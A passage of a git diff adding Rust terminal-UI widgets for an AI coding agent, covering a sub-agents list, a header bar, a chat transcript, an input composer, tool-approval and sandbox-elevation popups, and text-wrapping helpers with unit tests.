.scroll((scroll as u16, 0)); + + help.render(popup_area, buf); + } +} + +pub struct SubAgentsView { + agents: Vec, + scroll: usize, +} + +impl SubAgentsView { + pub fn new(agents: Vec) -> Self { + Self { agents, scroll: 0 } + } +} + +impl ModalView for SubAgentsView { + fn kind(&self) -> ModalKind { + ModalKind::SubAgents + } + + fn handle_key(&mut self, key: KeyEvent) -> ViewAction { + use crossterm::event::KeyCode; + + match key.code { + KeyCode::Esc | KeyCode::Char('q') => ViewAction::Close, + KeyCode::Enter | KeyCode::Char('r') | KeyCode::Char('R') => { + ViewAction::Emit(ViewEvent::SubAgentsRefresh) + } + KeyCode::Up | KeyCode::Char('k') => { + self.scroll = self.scroll.saturating_sub(1); + ViewAction::None + } + KeyCode::Down | KeyCode::Char('j') => { + self.scroll = self.scroll.saturating_add(1); + ViewAction::None + } + _ => ViewAction::None, + } + } + + fn update_subagents(&mut self, agents: &[SubAgentResult]) -> bool { + self.agents = agents.to_vec(); + self.scroll = self.scroll.min(self.agents.len().saturating_sub(1)); + true + } + + fn render(&self, area: Rect, buf: &mut Buffer) { + use ratatui::{ + prelude::Stylize, + style::Style, + text::{Line, Span}, + widgets::{Block, Borders, Clear, Paragraph, Widget}, + }; + + let popup_width = 78.min(area.width.saturating_sub(4)); + let popup_height = 20.min(area.height.saturating_sub(4)); + + let popup_area = Rect { + x: (area.width - popup_width) / 2, + y: (area.height - popup_height) / 2, + width: popup_width, + height: popup_height, + }; + + Clear.render(popup_area, buf); + + let mut lines: Vec = Vec::new(); + lines.push(Line::from(vec![ + Span::styled("ID", Style::default().fg(palette::DEEPSEEK_SKY).bold()), + Span::raw(" "), + Span::styled("TYPE", Style::default().fg(palette::DEEPSEEK_SKY).bold()), + Span::raw(" "), + Span::styled("STATUS", Style::default().fg(palette::DEEPSEEK_SKY).bold()), + Span::raw(" "), + Span::styled("STEPS", Style::default().fg(palette::DEEPSEEK_SKY).bold()), + Span::raw(" "), + Span::styled("TIME", Style::default().fg(palette::DEEPSEEK_SKY).bold()), + ])); + lines.push(Line::from(Span::styled( + "----------------------------------------", + Style::default().fg(palette::TEXT_MUTED), + ))); + + if self.agents.is_empty() { + lines.push(Line::from(Span::styled( + "No sub-agents running.", + Style::default().fg(palette::TEXT_MUTED), + ))); + } else { + let content_width = popup_width.saturating_sub(4) as usize; + for agent in &self.agents { + let id = truncate_view_text(&agent.agent_id, 8); + let kind = format_agent_type(&agent.agent_type); + let (status, status_style) = format_agent_status(&agent.status); + let line = Line::from(vec![ + Span::styled( + format!("{id:<8}"), + Style::default().fg(palette::TEXT_PRIMARY).bold(), + ), + Span::raw(" "), + Span::styled( + format!("{kind:<6}"), + Style::default().fg(palette::TEXT_MUTED), + ), + Span::raw(" "), + Span::styled(format!("{status:<10}"), status_style), + Span::raw(" "), + Span::styled( + format!("{:>5}", agent.steps_taken), + Style::default().fg(palette::TEXT_DIM), + ), + Span::raw(" "), + Span::styled( + format!("{:>5}ms", agent.duration_ms), + Style::default().fg(palette::TEXT_DIM), + ), + ]); + lines.push(line); + + if let Some(result) = agent.result.as_ref() { + let max_len = content_width.saturating_sub(10); + let preview = truncate_view_text(result, max_len); + lines.push(Line::from(vec![ + Span::styled(" Result: ", Style::default().fg(palette::TEXT_MUTED)), + Span::styled(preview, Style::default().fg(palette::TEXT_DIM)), + ])); + } + } + } + + let total_lines = lines.len(); + let visible_lines = (popup_height as usize).saturating_sub(3); + let max_scroll = total_lines.saturating_sub(visible_lines); + let scroll = self.scroll.min(max_scroll); + + let scroll_indicator = if total_lines > visible_lines { + format!(" [{}/{} ↑↓] ", scroll + 1, max_scroll + 1) + } else { + String::new() + }; + + let view = Paragraph::new(lines) + .block( + Block::default() + .title(Line::from(vec![Span::styled( + " Sub-agents ", + Style::default().fg(palette::DEEPSEEK_BLUE).bold(), + )])) + .title_bottom(Line::from(vec![ + Span::styled(" Esc to close ", Style::default().fg(palette::TEXT_MUTED)), + Span::styled(" R to refresh ", Style::default().fg(palette::TEXT_MUTED)), + Span::styled(scroll_indicator, Style::default().fg(palette::DEEPSEEK_SKY)), + ])) + .borders(Borders::ALL) + .border_style(Style::default().fg(palette::DEEPSEEK_SKY)), + ) + .scroll((scroll as u16, 0)); + + view.render(popup_area, buf); + } +} + +fn format_agent_type(agent_type: &SubAgentType) -> &'static str { + match agent_type { + SubAgentType::General => "general", + SubAgentType::Explore => "explore", + SubAgentType::Plan => "plan", + SubAgentType::Review => "review", + SubAgentType::Custom => "custom", + } +} + +fn format_agent_status(status: &SubAgentStatus) -> (&'static str, ratatui::style::Style) { + use ratatui::style::Style; + + match status { + SubAgentStatus::Running => ("running", Style::default().fg(palette::DEEPSEEK_SKY)), + SubAgentStatus::Completed => ("completed", Style::default().fg(palette::DEEPSEEK_BLUE)), + SubAgentStatus::Cancelled => ("cancelled", Style::default().fg(palette::TEXT_MUTED)), + SubAgentStatus::Failed(_) => ("failed", Style::default().fg(palette::DEEPSEEK_RED)), + } +} + +fn truncate_view_text(text: &str, max_chars: usize) -> String { + if max_chars == 0 { + return String::new(); + } + match text.char_indices().nth(max_chars) { + Some((idx, _)) => text[..idx].to_string(), + None => text.to_string(), + } +} + +#[cfg(test)] +mod tests { + use super::truncate_view_text; + + #[test] + fn truncate_view_text_handles_unicode() { + let text = "abc😀é"; + assert_eq!(truncate_view_text(text, 0), ""); + assert_eq!(truncate_view_text(text, 1), "a"); + assert_eq!(truncate_view_text(text, 3), "abc"); + assert_eq!(truncate_view_text(text, 4), "abc😀"); + assert_eq!(truncate_view_text(text, 5), "abc😀é"); + } +} diff --git a/src/tui/widgets/header.rs b/src/tui/widgets/header.rs new file mode 100644 index 00000000..a41aff45 --- /dev/null +++ b/src/tui/widgets/header.rs @@ -0,0 +1,134 @@ +//! Header bar widget displaying mode, model, context usage, and streaming state. + +use ratatui::{ + buffer::Buffer, + layout::Rect, + style::{Modifier, Style}, + text::{Line, Span}, + widgets::{Paragraph, Widget}, +}; +use unicode_width::UnicodeWidthStr; + +use crate::palette; +use crate::tui::app::AppMode; + +use super::Renderable; + +/// Data required to render the header bar. +pub struct HeaderData<'a> { + pub model: &'a str, + pub is_streaming: bool, + pub background: ratatui::style::Color, +} + +impl<'a> HeaderData<'a> { + /// Create header data from common app fields. + #[must_use] + pub fn new( + _mode: AppMode, + model: &'a str, + _context_used: u32, + is_streaming: bool, + background: ratatui::style::Color, + ) -> Self { + Self { + model, + is_streaming, + background, + } + } +} + +/// Header bar widget (1 line height). +/// +/// Layout: `[MODE] | model-name | Context: XX% | [streaming indicator]` +pub struct HeaderWidget<'a> { + data: HeaderData<'a>, +} + +impl<'a> HeaderWidget<'a> { + #[must_use] + pub fn new(data: HeaderData<'a>) -> Self { + Self { data } + } + + /// Build the model name span. + fn model_span(&self) -> Span<'static> { + // Truncate long model names + let display_name = if self.data.model.len() > 20 { + format!("{}...", &self.data.model[..17]) + } else { + self.data.model.to_string() + }; + + Span::styled(display_name, Style::default().fg(palette::TEXT_MUTED)) + } + + /// Build the streaming indicator span. + fn streaming_indicator(&self) -> Option> { + if !self.data.is_streaming { + return None; + } + + Some(Span::styled( + " streaming... ", + Style::default() + .fg(palette::DEEPSEEK_SKY) + .add_modifier(Modifier::BOLD), + )) + } +} + +impl Renderable for HeaderWidget<'_> { + fn render(&self, area: Rect, buf: &mut Buffer) { + if area.height == 0 || area.width == 0 { + return; + } + + // Build left section: model name only (Mode is in footer) + let mut left_spans = vec![self.model_span()]; + + // Build right section: streaming indicator + let streaming_span = self.streaming_indicator(); + + // Calculate widths + let left_width: usize = left_spans.iter().map(|s| s.content.width()).sum(); + let right_width = streaming_span.as_ref().map_or(0, |s| s.content.width()); + + let total_content = left_width + right_width + 2; // + padding + let available = area.width as usize; + + // Build final line based on available space + let mut spans = Vec::new(); + + if available >= total_content { + // Full layout: left | (spacer) | right + spans.append(&mut left_spans); + + // Spacer + let padding_needed = available.saturating_sub(left_width + right_width); + if padding_needed > 0 { + spans.push(Span::raw(" ".repeat(padding_needed))); + } + + // Add streaming on right + if let Some(streaming) = streaming_span { + spans.push(streaming); + } + } else if available >= left_width { + // Minimal: just model + spans.append(&mut left_spans); + } else { + // Ultra-minimal: just model + spans.push(self.model_span()); + } + + let line = Line::from(spans); + let paragraph = Paragraph::new(line).style(Style::default().bg(self.data.background)); + paragraph.render(area, buf); + } + + fn desired_height(&self, _width: u16) -> u16 { + 1 // Header is always 1 line + } +} diff --git a/src/tui/widgets/mod.rs b/src/tui/widgets/mod.rs new file mode 100644 index 00000000..5b11d112 --- /dev/null +++ b/src/tui/widgets/mod.rs @@ -0,0 +1,930 @@ +mod header; +mod renderable; + +pub use header::{HeaderData, HeaderWidget}; +pub use renderable::Renderable; + +use crate::palette; +use crate::tui::app::{App, AppMode}; +use crate::tui::approval::{ApprovalRequest, ElevationOption, ElevationRequest, ToolCategory}; +use crate::tui::scrolling::TranscriptScroll; +use ratatui::{ + buffer::Buffer, + layout::Rect, + prelude::Stylize, + style::{Modifier, Style}, + text::{Line, Span}, + widgets::{Block, Borders, Clear, Paragraph, Widget, Wrap}, +}; +use unicode_segmentation::UnicodeSegmentation; +use unicode_width::UnicodeWidthStr; + +pub struct ChatWidget { + content_area: Rect, + scrollbar_area: Option, + lines: Vec>, + scrollbar: Option, +} + +struct ScrollbarState { + top: usize, + visible_lines: usize, + total_lines: usize, +} + +impl ChatWidget { + pub fn new(app: &mut App, area: Rect) -> Self { + let mut content_area = area; + let mut scrollbar_area = None; + + let show_scrollbar = area.width > 1 && area.height > 1; + if show_scrollbar { + content_area.width = content_area.width.saturating_sub(1); + scrollbar_area = Some(Rect { + x: content_area.x + content_area.width, + y: content_area.y, + width: 1, + height: content_area.height, + }); + } + + let render_options = app.transcript_render_options(); + app.transcript_cache.ensure( + &app.history, + content_area.width.max(1), + app.history_version, + render_options, + ); + + let total_lines = app.transcript_cache.total_lines(); + let visible_lines = content_area.height as usize; + let line_meta = app.transcript_cache.line_meta(); + + if app.pending_scroll_delta != 0 { + app.transcript_scroll = app.transcript_scroll.scrolled_by( + app.pending_scroll_delta, + line_meta, + visible_lines, + ); + app.pending_scroll_delta = 0; + } + + let max_start = total_lines.saturating_sub(visible_lines); + let (scroll_state, top) = app.transcript_scroll.resolve_top(line_meta, max_start); + app.transcript_scroll = scroll_state; + + app.last_transcript_area = Some(content_area); + app.last_scrollbar_area = scrollbar_area; + app.last_transcript_top = top; + app.last_transcript_visible = visible_lines; + app.last_transcript_total = total_lines; + app.last_transcript_padding_top = 0; + + let end = (top + visible_lines).min(total_lines); + let mut lines = if total_lines == 0 { + vec![Line::from("")] + } else { + app.transcript_cache.lines()[top..end].to_vec() + }; + + apply_selection(&mut lines, top, app); + + if matches!(app.transcript_scroll, TranscriptScroll::ToBottom) { + app.last_transcript_padding_top = visible_lines.saturating_sub(lines.len()); + pad_lines_to_bottom(&mut lines, visible_lines); + } + + let scrollbar = scrollbar_area.map(|_| ScrollbarState { + top, + visible_lines, + total_lines, + }); + + Self { + content_area, + scrollbar_area, + lines, + scrollbar, + } + } +} + +impl Renderable for ChatWidget { + fn render(&self, _area: Rect, buf: &mut Buffer) { + let paragraph = Paragraph::new(self.lines.clone()); + paragraph.render(self.content_area, buf); + + if let (Some(scrollbar_area), Some(scrollbar)) = (self.scrollbar_area, &self.scrollbar) { + render_scrollbar( + buf, + scrollbar_area, + scrollbar.top, + scrollbar.visible_lines, + scrollbar.total_lines, + ); + } + } + + fn desired_height(&self, _width: u16) -> u16 { + 1 + } +} + +pub struct ComposerWidget<'a> { + app: &'a App, + prompt: &'a str, + max_height: u16, +} + +impl<'a> ComposerWidget<'a> { + pub fn new(app: &'a App, prompt: &'a str, max_height: u16) -> Self { + Self { + app, + prompt, + max_height, + } + } +} + +impl Renderable for ComposerWidget<'_> { + fn render(&self, area: Rect, buf: &mut Buffer) { + let prompt_width = self.prompt.width(); + let prompt_width_u16 = u16::try_from(prompt_width).unwrap_or(u16::MAX); + let content_width = usize::from(area.width.saturating_sub(prompt_width_u16).max(1)); + let max_height = usize::from(area.height); + let continuation = " ".repeat(prompt_width); + + let (visible_lines, _cursor_row, _cursor_col) = layout_input( + &self.app.input, + self.app.cursor_position, + content_width, + max_height, + ); + + let background = Style::default().bg(self.app.ui_theme.composer_bg); + let block = Block::default().style(background); + block.render(area, buf); + + let mut lines = Vec::new(); + if self.app.input.is_empty() { + let placeholder = if self.app.mode == AppMode::Rlm { + if self.app.rlm_repl_active { + "Type an RLM expression or /repl to exit..." + } else { + "Ask a question or /repl to enter expression mode..." + } + } else { + "Type a message or /help for commands..." + }; + lines.push(Line::from(vec![ + Span::styled( + self.prompt, + Style::default().fg(palette::DEEPSEEK_SKY).bold(), + ), + Span::styled( + placeholder, + Style::default().fg(palette::TEXT_MUTED).italic(), + ), + ])); + } else { + for (idx, line) in visible_lines.iter().enumerate() { + let prefix = if idx == 0 { + self.prompt + } else { + continuation.as_str() + }; + lines.push(Line::from(vec![ + Span::styled(prefix, Style::default().fg(palette::DEEPSEEK_SKY).bold()), + Span::styled(line.clone(), Style::default().fg(palette::TEXT_PRIMARY)), + ])); + } + } + + let paragraph = Paragraph::new(lines).style(background); + paragraph.render(area, buf); + } + + fn desired_height(&self, width: u16) -> u16 { + composer_height(&self.app.input, width, self.max_height, self.prompt) + } + + fn cursor_pos(&self, area: Rect) -> Option<(u16, u16)> { + let prompt_width = self.prompt.width(); + let prompt_width_u16 = u16::try_from(prompt_width).unwrap_or(u16::MAX); + let content_width = usize::from(area.width.saturating_sub(prompt_width_u16).max(1)); + let max_height = usize::from(area.height); + + let (_visible_lines, cursor_row, cursor_col) = layout_input( + &self.app.input, + self.app.cursor_position, + content_width, + max_height, + ); + + let cursor_x = area + .x + .saturating_add(prompt_width_u16) + .saturating_add(u16::try_from(cursor_col).unwrap_or(u16::MAX)); + let cursor_y = area + .y + .saturating_add(u16::try_from(cursor_row).unwrap_or(u16::MAX)); + if cursor_x < area.x + area.width && cursor_y < area.y + area.height { + Some((cursor_x, cursor_y)) + } else { + None + } + } +} + +pub struct ApprovalWidget<'a> { + request: &'a ApprovalRequest, + selected: usize, +} + +impl<'a> ApprovalWidget<'a> { + pub fn new(request: &'a ApprovalRequest, selected: usize) -> Self { + Self { request, selected } + } +} + +impl Renderable for ApprovalWidget<'_> { + fn render(&self, area: Rect, buf: &mut Buffer) { + let popup_width = 65.min(area.width.saturating_sub(4)); + let popup_height = 18.min(area.height.saturating_sub(4)); + let popup_area = Rect { + x: (area.width.saturating_sub(popup_width)) / 2, + y: (area.height.saturating_sub(popup_height)) / 2, + width: popup_width, + height: popup_height, + }; + + Clear.render(popup_area, buf); + + let mut lines = vec![ + Line::from(""), + Line::from(vec![ + Span::raw(" Tool: "), + Span::styled( + &self.request.tool_name, + Style::default() + .fg(palette::DEEPSEEK_SKY) + .add_modifier(Modifier::BOLD), + ), + ]), + ]; + + let category_label = match self.request.category { + ToolCategory::Safe => ("Safe", palette::STATUS_SUCCESS), + ToolCategory::FileWrite => ("File Write", palette::STATUS_WARNING), + ToolCategory::Shell => ("Shell Command", palette::STATUS_ERROR), + }; + lines.push(Line::from(vec![ + Span::raw(" Type: "), + Span::styled( + category_label.0, + Style::default() + .fg(category_label.1) + .add_modifier(Modifier::BOLD), + ), + ])); + + if let Some(cost) = &self.request.estimated_cost { + lines.push(Line::from("")); + lines.push(Line::from(vec![ + Span::raw(" Cost: "), + Span::styled( + cost.display(), + Style::default() + .fg(palette::STATUS_WARNING) + .add_modifier(Modifier::BOLD), + ), + ])); + lines.push(Line::from(Span::styled( + format!(" {}", &cost.breakdown), + Style::default().fg(palette::TEXT_MUTED), + ))); + } else { + lines.push(Line::from("")); + lines.push(Line::from(Span::styled( + " No cost (free operation)", + Style::default().fg(palette::TEXT_MUTED), + ))); + } + + lines.push(Line::from("")); + let params_str = self.request.params_display(); + let params_truncated = crate::utils::truncate_with_ellipsis(¶ms_str, 50, "..."); + lines.push(Line::from(Span::styled( + format!(" Params: {params_truncated}"), + Style::default().fg(palette::TEXT_MUTED), + ))); + + lines.push(Line::from("")); + + let options = [ + ("y", "Approve (this time)"), + ("a", "Approve for session"), + ("n", "Deny"), + ("Esc", "Abort turn"), + ]; + + for (i, (key, label)) in options.iter().enumerate() { + let is_selected = i == self.selected; + let style = if is_selected { + Style::default() + .fg(palette::DEEPSEEK_SKY) + .add_modifier(Modifier::REVERSED) + } else { + Style::default() + }; + + lines.push(Line::from(vec![ + Span::raw(" "), + Span::styled( + format!("[{key}] "), + Style::default().fg(palette::STATUS_SUCCESS), + ), + Span::styled(*label, style), + ])); + } + + let title = format!(" Approve Tool: {} ", &self.request.tool_name); + let block = Block::default() + .title(title) + .borders(Borders::ALL) + .border_style(Style::default().fg(palette::STATUS_WARNING)); + + let paragraph = Paragraph::new(lines) + .block(block) + .wrap(Wrap { trim: false }); + + paragraph.render(popup_area, buf); + } + + fn desired_height(&self, _width: u16) -> u16 { + 1 + } +} + +pub struct ElevationWidget<'a> { + request: &'a ElevationRequest, + selected: usize, +} + +impl<'a> ElevationWidget<'a> { + pub fn new(request: &'a ElevationRequest, selected: usize) -> Self { + Self { request, selected } + } +} + +impl Renderable for ElevationWidget<'_> { + fn render(&self, area: Rect, buf: &mut Buffer) { + let popup_width = 70.min(area.width.saturating_sub(4)); + let popup_height = 20.min(area.height.saturating_sub(4)); + let popup_area = Rect { + x: (area.width.saturating_sub(popup_width)) / 2, + y: (area.height.saturating_sub(popup_height)) / 2, + width: popup_width, + height: popup_height, + }; + + Clear.render(popup_area, buf); + + let mut lines = vec![ + Line::from(""), + Line::from(vec![Span::styled( + " ⚠ Sandbox Denied ", + Style::default() + .fg(palette::STATUS_ERROR) + .add_modifier(Modifier::BOLD), + )]), + Line::from(""), + Line::from(vec![ + Span::raw(" Tool: "), + Span::styled( + &self.request.tool_name, + Style::default() + .fg(palette::DEEPSEEK_SKY) + .add_modifier(Modifier::BOLD), + ), + ]), + ]; + + // Show command if it's a shell command + if let Some(ref command) = self.request.command { + let cmd_display = crate::utils::truncate_with_ellipsis(command, 45, "..."); + lines.push(Line::from(vec![ + Span::raw(" Cmd: "), + Span::styled(cmd_display, Style::default().fg(palette::TEXT_MUTED)), + ])); + } + + lines.push(Line::from("")); + lines.push(Line::from(vec![ + Span::raw(" Reason: "), + Span::styled( + &self.request.denial_reason, + Style::default().fg(palette::STATUS_WARNING), + ), + ])); + + lines.push(Line::from("")); + lines.push(Line::from(Span::styled( + " Choose how to proceed:", + Style::default().fg(palette::TEXT_MUTED), + ))); + lines.push(Line::from("")); + + // Render options + for (i, option) in self.request.options.iter().enumerate() { + let is_selected = i == self.selected; + let style = if is_selected { + Style::default() + .fg(palette::DEEPSEEK_SKY) + .add_modifier(Modifier::REVERSED) + } else { + Style::default() + }; + + let key = match option { + ElevationOption::WithNetwork => "n", + ElevationOption::WithWriteAccess(_) => "w", + ElevationOption::FullAccess => "f", + ElevationOption::Abort => "a", + }; + + let label_color = match option { + ElevationOption::Abort => palette::TEXT_MUTED, + ElevationOption::FullAccess => palette::STATUS_ERROR, + _ => palette::TEXT_PRIMARY, + }; + + lines.push(Line::from(vec![ + Span::raw(" "), + Span::styled( + format!("[{key}] "), + Style::default().fg(palette::STATUS_SUCCESS), + ), + Span::styled(option.label(), style.fg(label_color)), + ])); + lines.push(Line::from(vec![ + Span::raw(" "), + Span::styled( + option.description(), + Style::default().fg(palette::TEXT_MUTED), + ), + ])); + } + + let title = " Sandbox Elevation Required "; + let block = Block::default() + .title(title) + .borders(Borders::ALL) + .border_style(Style::default().fg(palette::STATUS_ERROR)); + + let paragraph = Paragraph::new(lines) + .block(block) + .wrap(Wrap { trim: false }); + + paragraph.render(popup_area, buf); + } + + fn desired_height(&self, _width: u16) -> u16 { + 1 + } +} + +pub(crate) fn pad_lines_to_bottom(lines: &mut Vec>, height: usize) { + if lines.len() >= height { + return; + } + let padding = height.saturating_sub(lines.len()); + if padding == 0 { + return; + } + + let mut padded = Vec::with_capacity(height); + padded.extend(std::iter::repeat_n(Line::from(""), padding)); + padded.append(lines); + *lines = padded; +} + +fn apply_selection(lines: &mut [Line<'static>], top: usize, app: &App) { + let Some((start, end)) = app.transcript_selection.ordered_endpoints() else { + return; + }; + + let selection_style = Style::default().bg(app.ui_theme.selection_bg); + + for (idx, line) in lines.iter_mut().enumerate() { + let line_index = top + idx; + if line_index < start.line_index || line_index > end.line_index { + continue; + } + + let (col_start, col_end) = if start.line_index == end.line_index { + (start.column, end.column) + } else if line_index == start.line_index { + (start.column, usize::MAX) + } else if line_index == end.line_index { + (0, end.column) + } else { + (0, usize::MAX) + }; + + let new_spans = apply_selection_to_line(line, col_start, col_end, selection_style); + line.spans = new_spans; + } +} + +fn apply_selection_to_line( + line: &Line<'static>, + col_start: usize, + col_end: usize, + selection_style: Style, +) -> Vec> { + let mut result = Vec::new(); + let mut current_col = 0usize; + + for span in &line.spans { + let span_text: &str = span.content.as_ref(); + let span_len = span_text.chars().count(); + let span_end = current_col + span_len; + + if span_end <= col_start || current_col >= col_end { + result.push(span.clone()); + } else if current_col >= col_start && span_end <= col_end { + result.push(Span::styled( + span.content.clone(), + span.style.patch(selection_style), + )); + } else { + let chars: Vec = span_text.chars().collect(); + let mut before = String::new(); + let mut selected = String::new(); + let mut after = String::new(); + + for (i, &ch) in chars.iter().enumerate() { + let char_col = current_col + i; + if char_col < col_start { + before.push(ch); + } else if char_col < col_end { + selected.push(ch); + } else { + after.push(ch); + } + } + + if !before.is_empty() { + result.push(Span::styled(before, span.style)); + } + if !selected.is_empty() { + result.push(Span::styled(selected, span.style.patch(selection_style))); + } + if !after.is_empty() { + result.push(Span::styled(after, span.style)); + } + } + + current_col = span_end; + } + + result +} + +fn render_scrollbar(buf: &mut Buffer, area: Rect, top: usize, visible: usize, total: usize) { + if total <= visible || area.height == 0 { + return; + } + + let height = usize::from(area.height); + let max_start = total.saturating_sub(visible).max(1); + let thumb_height = visible + .saturating_mul(height) + .div_ceil(total) + .clamp(1, height); + let track = height.saturating_sub(thumb_height).max(1); + let thumb_start = (top.saturating_mul(track) + max_start / 2) / max_start; + + let mut lines = Vec::new(); + for row in 0..height { + let ch = if row >= thumb_start && row < thumb_start + thumb_height { + "█" + } else { + "│" + }; + lines.push(Line::from(Span::styled( + ch, + Style::default().fg(palette::TEXT_MUTED), + ))); + } + + let scrollbar = Paragraph::new(lines); + scrollbar.render(area, buf); +} + +fn composer_height(input: &str, width: u16, available_height: u16, prompt: &str) -> u16 { + let prompt_width = prompt.width(); + let prompt_width_u16 = u16::try_from(prompt_width).unwrap_or(u16::MAX); + let content_width = usize::from(width.saturating_sub(prompt_width_u16).max(1)); + let mut line_count = wrap_input_lines(input, content_width).len(); + if line_count == 0 { + line_count = 1; + } + let max_height = usize::from(available_height.clamp(1, 8)); + line_count.clamp(1, max_height).try_into().unwrap_or(1) +} + +fn layout_input( + input: &str, + cursor: usize, + width: usize, + max_height: usize, +) -> (Vec, usize, usize) { + let mut lines = wrap_input_lines(input, width); + if lines.is_empty() { + lines.push(String::new()); + } + let (cursor_row, cursor_col) = cursor_row_col(input, cursor, width.max(1)); + + let max_height = max_height.max(1); + let mut start = 0usize; + if cursor_row >= max_height { + start = cursor_row + 1 - max_height; + } + if start + max_height > lines.len() { + start = lines.len().saturating_sub(max_height); + } + let visible = lines + .into_iter() + .skip(start) + .take(max_height) + .collect::>(); + let visible_cursor_row = cursor_row.saturating_sub(start); + + ( + visible, + visible_cursor_row, + cursor_col.min(width.saturating_sub(1)), + ) +} + +fn cursor_row_col(input: &str, cursor: usize, width: usize) -> (usize, usize) { + let mut row = 0usize; + let mut col = 0usize; + let mut char_idx = 0usize; + + for grapheme in input.graphemes(true) { + if char_idx >= cursor { + break; + } + let grapheme_chars = grapheme.chars().count(); + let next_char_idx = char_idx.saturating_add(grapheme_chars); + let cursor_inside = cursor < next_char_idx; + + if grapheme == "\n" { + row += 1; + col = 0; + char_idx = next_char_idx; + if cursor_inside { + break; + } + continue; + } + + let grapheme_width = grapheme.width(); + if col + grapheme_width > width && col != 0 { + row += 1; + col = 0; + } + col += grapheme_width; + if col >= width { + row += 1; + col = 0; + } + if cursor_inside { + break; + } + char_idx = next_char_idx; + } + + (row, col) +} + +fn wrap_input_lines(input: &str, width: usize) -> Vec { + let mut lines = Vec::new(); + if input.is_empty() { + return lines; + } + + for raw in input.split('\n') { + let wrapped = wrap_text(raw, width); + if wrapped.is_empty() { + lines.push(String::new()); + } else { + lines.extend(wrapped); + } + } + + // Note: No need for ends_with('\n') check - split('\n') already includes + // the trailing empty string for inputs ending with newline. + + lines +} + +fn wrap_text(text: &str, width: usize) -> Vec { + if width == 0 { + return vec![text.to_string()]; + } + if text.is_empty() { + return vec![String::new()]; + } + + let mut lines = Vec::new(); + let mut current = String::new(); + let mut current_width = 0; + + for grapheme in text.graphemes(true) { + if grapheme == "\n" { + lines.push(current); + current = String::new(); + current_width = 0; + continue; + } + + let grapheme_width = grapheme.width(); + if current_width + grapheme_width > width && current_width != 0 { + lines.push(current); + current = String::new(); + current_width = 0; + } + + current.push_str(grapheme); + current_width += grapheme_width; + + if current_width >= width { + lines.push(current); + current = String::new(); + current_width = 0; + } + } + + lines.push(current); + lines +} + +#[cfg(test)] +mod tests { + use super::{cursor_row_col, pad_lines_to_bottom, wrap_input_lines, wrap_text}; + use ratatui::text::Line; + use unicode_width::UnicodeWidthStr; + + #[test] + fn pad_lines_to_bottom_noop_when_already_filled() { + let mut lines = vec![Line::from("one"), Line::from("two")]; + pad_lines_to_bottom(&mut lines, 2); + assert_eq!(lines, vec![Line::from("one"), Line::from("two")]); + } + + #[test] + fn pad_lines_to_bottom_prepends_empty_lines() { + let mut lines = vec![Line::from("one"), Line::from("two")]; + pad_lines_to_bottom(&mut lines, 5); + + assert_eq!(lines.len(), 5); + assert_eq!(lines[0], Line::from("")); + assert_eq!(lines[1], Line::from("")); + assert_eq!(lines[2], Line::from("")); + assert_eq!(lines[3], Line::from("one")); + assert_eq!(lines[4], Line::from("two")); + } + + #[test] + fn pad_lines_to_bottom_noop_when_height_is_zero() { + let mut lines = vec![Line::from("one")]; + pad_lines_to_bottom(&mut lines, 0); + assert_eq!(lines, vec![Line::from("one")]); + } + + // Cursor alignment tests + + #[test] + fn cursor_basic_ascii() { + // "hello" with cursor at various positions, width=10 + assert_eq!(cursor_row_col("hello", 0, 10), (0, 0)); + assert_eq!(cursor_row_col("hello", 3, 10), (0, 3)); + assert_eq!(cursor_row_col("hello", 5, 10), (0, 5)); + } + + #[test] + fn cursor_at_wrap_boundary() { + // "abcde" exactly fills width=5 + // Cursor at position 5 (after last char) should wrap to next line + let (row, col) = cursor_row_col("abcde", 5, 5); + assert_eq!(row, 1, "cursor at end of full line should wrap"); + assert_eq!(col, 0, "cursor should be at start of next line"); + } + + #[test] + fn cursor_with_cjk_characters() { + // "中" is a CJK character with width 2 + // "a中b" = 1 + 2 + 1 = 4 display width + assert_eq!(cursor_row_col("a中b", 0, 10), (0, 0)); // before 'a' + assert_eq!(cursor_row_col("a中b", 1, 10), (0, 1)); // after 'a', before '中' + assert_eq!(cursor_row_col("a中b", 2, 10), (0, 3)); // after '中', before 'b' + assert_eq!(cursor_row_col("a中b", 3, 10), (0, 4)); // after 'b' + } + + #[test] + fn cursor_cjk_at_wrap_boundary() { + // width=5, input "abcd中" (4 + 2 = 6, CJK doesn't fit on line 1) + // CJK should wrap to next line + let lines = wrap_text("abcd中", 5); + assert_eq!(lines, vec!["abcd", "中"]); + + // Cursor after CJK should be on row 1, col 2 + let (row, col) = cursor_row_col("abcd中", 5, 5); + assert_eq!(row, 1); + assert_eq!(col, 2); + } + + #[test] + fn cursor_with_combining_marks() { + // "e\u0301" is 'e' with combining acute accent (é) + // Display width is 1 (combining mark has width 0) + let input = "e\u{0301}"; // é as e + combining acute + assert_eq!(input.chars().count(), 2); + + // Cursor positions: + // 0 = before 'e' + // 1 = after 'e', before combining mark + // 2 = after combining mark + assert_eq!(cursor_row_col(input, 0, 10), (0, 0)); + assert_eq!(cursor_row_col(input, 1, 10), (0, 1)); + assert_eq!(cursor_row_col(input, 2, 10), (0, 1)); // combining mark has width 0 + } + + #[test] + fn cursor_with_emoji() { + // Many emojis are double-width + let input = "a😀b"; + // Cursor at 2 (after emoji) should account for emoji width + let (_row, col) = cursor_row_col(input, 2, 10); + // Emoji width varies by system, but should be either 1 or 2 + assert!(col >= 2 && col <= 3, "col = {col}, expected 2 or 3"); + } + + #[test] + fn cursor_with_emoji_zwj_sequence() { + let input = "👨‍👩‍👧‍👦"; + let cursor = input.chars().count(); + let (row, col) = cursor_row_col(input, cursor, 10); + assert_eq!(row, 0); + assert_eq!(col, input.width()); + } + + #[test] + fn cursor_with_newlines() { + // "ab\ncd" with cursor moving through + assert_eq!(cursor_row_col("ab\ncd", 0, 10), (0, 0)); // before 'a' + assert_eq!(cursor_row_col("ab\ncd", 2, 10), (0, 2)); // after 'b', before '\n' + assert_eq!(cursor_row_col("ab\ncd", 3, 10), (1, 0)); // after '\n', before 'c' + assert_eq!(cursor_row_col("ab\ncd", 5, 10), (1, 2)); // after 'd' + } + + #[test] + fn wrap_input_lines_preserves_empty_lines() { + let lines = wrap_input_lines("a\n\nb", 10); + assert_eq!(lines, vec!["a", "", "b"]); + } + + #[test] + fn wrap_input_lines_trailing_newline() { + let lines = wrap_input_lines("a\n", 10); + assert_eq!(lines, vec!["a", ""]); + } + + #[test] + fn cursor_and_wrap_consistency() { + // Ensure cursor_row_col is consistent with wrap_text + // for various inputs + let test_cases = vec![ + ("hello world", 5), + ("abcdefghij", 3), + ("中文测试", 6), + ("a\nb\nc", 10), + ]; + + for (input, width) in test_cases { + let lines = 